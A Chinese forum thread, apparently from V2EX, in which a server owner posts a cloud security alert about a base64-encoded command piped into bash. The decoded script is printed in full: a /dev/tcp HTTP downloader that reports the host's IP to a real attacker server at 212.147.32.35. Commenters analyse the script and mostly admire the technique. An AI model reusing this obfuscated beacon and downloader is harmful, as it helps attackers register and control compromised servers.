进程异常行为-可疑编码命令待处理 备注 该告警由如下引擎检测发现: 用户名: chrony 命令行: sh -c echo IyEvYmluL2Jhc2gKZnVuY3Rpb24gX19jdXJsKCkgewogIHJlYWQgcHJvdG8gc2VydmVyIHBhdGggPDw8JChlY2hvICR7MS8vLy8gfSkKICBET0M9LyR7cGF0aC8vIC8vfQogIEhPU1Q9JHtzZXJ2ZXIvLzoqfQogIFBPUlQ9JHtzZXJ2ZXIvLyo6fQogIFtbIHgiJHtIT1NUfSIgPT0geCIke1BPUlR9IiBdXSAmJiBQT1JUPTgwCgogIGV4ZWMgMzw+L2Rldi90Y3AvJHtIT1NUfS8kUE9SVAogIGVjaG8gLWVuICJHRVQgJHtET0N9IEhUVFAvMS4wXHJcbkhvc3Q6ICR7SE9TVH1cclxuXHJcbiIgPiYzCiAgKHdoaWxlIHJlYWQgbGluZTsgZG8KICAgW1sgIiRsaW5lIiA9PSAkJ1xyJyBdXSAmJiBicmVhawogIGRvbmUgJiYgY2F0KSA8JjMKICBleGVjIDM+Ji0KfQoKaWYgWyAteCAiJChjb21tYW5kIC12IGN1cmwpIiBdOyB0aGVuCiAgY3VybCAtbyAvZGV2L251bGwgMjEyLjE0Ny4zMi4zNS9nY2FlLzEwMS4zNy43OC4xMDgKZWxpZiBbIC14ICIkKGNvbW1hbmQgLXYgd2dldCkiIF07IHRoZW4KICB3Z2V0IC1xIC1PLSAyMTIuMTQ3LjMyLjM1L2djYWUvMTAxLjM3Ljc4LjEwOAplbHNlCiAgX19jdXJsIGh0dHA6Ly8yMTIuMTQ3LjMyLjM1L2djYWUvMTAxLjM3Ljc4LjEwOCA+L2Rldi9udWxsCmZpCgo= | base64 -d | bash 进程路径: /bin/dash 进程 ID: 26803 父进程文件路径: /usr/bin/perl 父进程 ID: 26798 事件说明: 检测模型发现您的服务器上执行的进程命令行高度可疑,很有可能与木马、病毒、黑客行为有关。
#!/bin/bash function __curl() { read proto server path <<<$(echo ${1//// }) DOC=/${path// //} HOST=${server//:*} PORT=${server//*:} [[ x"${HOST}" == x"${PORT}" ]] && PORT=80 exec 3<>/dev/tcp/${HOST}/$PORT echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3 (while read line; do [[ "$line" == $'\r' ]] && break done && cat) <&3 exec 3>&- } if [ -x "$(command -v curl)" ]; then curl -o /dev/null 212.147.32.35/gcae/101.37.78.108 elif [ -x "$(command -v wget)" ]; then wget -q -O- 212.147.32.35/gcae/101.37.78.108 else __curl http://212.147.32.35/gcae/101.37.78.108 >/dev/null fi
![]() | 1 janxin 2021-10-29 09:44:27 +08:00 明显被黑了... |
3 bfdh 2021-10-29 09:52:22 +08:00 就发了一个 http 请求,其他啥都没干? |
5 number 2021-10-29 10:13:57 +08:00 ![]() 学到了在没有 curl 和 wget 的情况下 还可以用这种方式下载文件 |
6 makia98 2021-10-29 10:15:01 +08:00 检查一下 docker 镜像有没有问题,我有过服务器被一个 redis 镜像当肉鸡的经历 |
8 lqc09 2021-10-29 10:58:55 +08:00 你已经被干了,一般是要下载 shell 上线脚本统一管理像你这种的肉鸡 |
9 lqc09 2021-10-29 11:00:03 +08:00 gitlab 最近刚好报了一个漏洞 |
![]() | 11 holinhot 2021-10-29 12:36:55 +08:00 还能 dev/tcp/ 这么玩,学到了 |
13 GrayXu 2021-10-29 13:17:14 +08:00 /dev/tcp/的一万种用法之…… |
![]() | 14 mingl0280 2021-10-29 13:26:44 +08:00 via Android /dev/tcp 还能这么用 |
![]() | 16 cweijan 2021-10-29 14:18:20 +08:00 这个脚本很酷啊 |
17 jptx 2021-10-29 14:20:57 +08:00 学到了,手动建立 TCP 连接,拼接 HTTP 请求头,下载文件,赶紧记笔记。我最近每次碰到各种奇技淫巧都是从各种木马里学到的 |
![]() | 18 1BF6oSYCD9ngBHo1 2021-10-29 14:22:38 +08:00 ![]() 我感觉楼主可以忽略这个东西,让入侵者继续操作,因为从脚本来,看他的操作确实有点骚有点秀了,让他玩下去说不定会有更有趣的事情发生! |
![]() | 20 villivateur 2021-10-29 14:32:45 +08:00 via Android 感觉好多系统没有 /dev/tcp 这个设备 |
![]() | 21 mikywei 2021-10-29 14:33:37 +08:00 所以云厂商无时无刻不在检测着用户的数据吗?真没安全感,感觉能随时取走用户的任何文件似的。 |
22 Alexonx 2021-10-29 14:47:32 +08:00 via Android @villivateur 这个并不是一个设备,应该是 bash 提供的 feature ,允许通过这种方式发起 socket 连接。实际上这个设备应该是不存在的.....用其他 shell 也不一定能跑 |
![]() | 23 ipeony OP @vinle #18 老实说我没发现有什么影响,当然可能数据泄漏光了(然而也没啥敏感的东西),或者被拿来挖矿(也没发现这个迹象),又或者上面有人提到的拿来 CC 别人(已经被我精致访问外网了 |
![]() | 24 sola97 2021-10-29 14:53:13 +08:00 这个 curl 保存了 |
![]() | 25 cz5424 2021-10-29 15:02:02 +08:00 值得学习的一个 bash |
![]() | 26 FreeEx 2021-10-29 15:05:20 +08:00 收藏了,为了这个 curl 脚本 |
![]() | 27 ETiV 2021-10-29 15:09:57 +08:00 via iPhone ![]() 非常魔性的写法,sentry docker-compose 部署方式下,健康检查就是用这种方式实现的…装个 curl 就这么难吗♂ https://github.com/getsentry/onpremise/blob/master/docker-compose.yml#L298 |
![]() | 28 Radiation 2021-10-29 15:17:22 +08:00 反弹 shell 用的 |
![]() | 29 maskerTUI 2021-10-29 15:26:30 +08:00 写这脚本的人是高手 |
30 zwgf 2021-10-29 15:34:35 +08:00 自己实现 curl ,这个黑阔可以 |
![]() | 31 scyuns 2021-10-29 15:38:04 +08:00 学习了 跟着黑阔学技术 |
![]() | 32 oser 2021-10-29 15:41:12 +08:00 有意思,学习了 |
![]() | 33 wellsc 2021-10-29 15:42:53 +08:00 哈哈哈 |
34 kwanzaa 2021-10-29 16:10:07 +08:00 哈哈哈哈 学到了 |
![]() | 35 labulaka521 2021-10-29 16:36:59 +08:00 为什么 linux 上没有 /dev/tcp 这个呢 |
![]() | 36 labulaka521 2021-10-29 16:52:13 +08:00 @labulaka521 有 |
37 kugouo4 2021-10-29 17:02:15 +08:00 v2ex 之跟着黑客学技术,妈妈再也不用担心容器里没有 curl 和 wget 了 |
38 cxy2244186975 2021-10-29 17:31:44 +08:00 乌云幸存白帽子路过…… |
![]() | 39 XLeopard 2021-10-29 18:01:31 +08:00 学到了 |
![]() | 40 ericwood067 2021-10-29 18:02:39 +08:00 ![]() 这个脚步并没有单独干什么,只是把你的 IP 地址 101.37.78.108 上报给了他们的服务器 http://212.147.32.35/gcae/,主要是看看有没有后续操作。 |
![]() | 41 cache 2021-10-29 21:31:21 +08:00 @labulaka521 /dev/tcp 是 bash 内置的 和 linux 没关系,换 zsh 就跑不起来了 |
42 Davic1 2021-10-29 22:10:35 +08:00 @ericwood067 #40 请教一下~ 哪里可以判断出 101 那个就是楼主的 Host IP 呢? |
![]() | 43 ericwood067 2021-10-29 22:27:54 +08:00 ![]() @Davic1 这个脚本的作用是和主机 212.147.32.35 建立了一条 tcp 链接,然后使用 httpGet 方法访问了 /gcae/101.37.78.108 这个路径,212 主机返回的结果直接被丢进了 /dev/null 里,所以肯定不是想从 212 主机获取什么东西;/gcae 应该是 212 主机上部署的一个服务的 gateway ,所以 101 应该就是楼主的 Host Ip 。不然做这个操作就没有任何道理了。 |
44 Davic1 2021-10-29 23:20:25 +08:00 @ericwood067 #43 感谢~ |
![]() | 45 zouri 2021-10-29 23:43:28 +08:00 各种奇怪的用法真是活到老学到老 |
46 pjntt 2021-10-30 00:05:44 +08:00 感觉这个是防盗版的做法吧?校验 IP 是否被授权了? |
![]() | 47 IMengXin 2021-10-30 09:32:28 +08:00 阿里云一直警告我 frps.exe ,很有可能与木马、病毒、黑客行为有关。 |
![]() | 48 scukmh 2021-10-30 16:48:49 +08:00 学到了 |
49 spinecho 2021-10-30 21:01:30 +08:00 m 学到了 |
![]() | 50 hukei 2024-04-12 10:33:41 +08:00 核心就是 /dev/tcp |
![]() | 51 tyit 2024-04-16 20:09:29 +08:00 这个脚本的作用是从指定的服务器( IP 地址为 212.147.32.35 )下载或获取一些数据。它首先尝试使用 curl 命令来获取数据,如果 curl 不可用,则尝试使用 wget 命令,最后如果 wget 也不可用,则使用自定义的__curl 函数来获取数据。 具体来说,它执行以下步骤: 定义了一个__curl 函数,用于通过 HTTP 协议从指定的服务器获取数据。这个函数会解析输入的 URL ,提取出协议、服务器地址和路径,并使用/dev/tcp 特殊文件来建立 TCP 连接到服务器,并发送 HTTP GET 请求,最后将响应内容输出到标准输出。 然后,它检查系统中是否安装了 curl 命令,如果安装了,则使用 curl 来获取数据,将数据写入到/dev/null ,即丢弃该数据,因为 curl 的输出已经被重定向到/dev/null ,所以用户不会看到输出。 如果 curl 不可用,则检查系统中是否安装了 wget 命令,如果安装了,则使用 wget 来获取数据,并将数据输出到标准输出( STDOUT )。 如果既没有 curl 也没有 wget ,则调用自定义的__curl 函数来获取数据,将数据输出到/dev/null ,同样是为了不显示数据到用户终端。 综合来说,这个脚本的目的是从指定的服务器获取数据,但是更倾向于使用 curl 或 wget 命令来实现。 |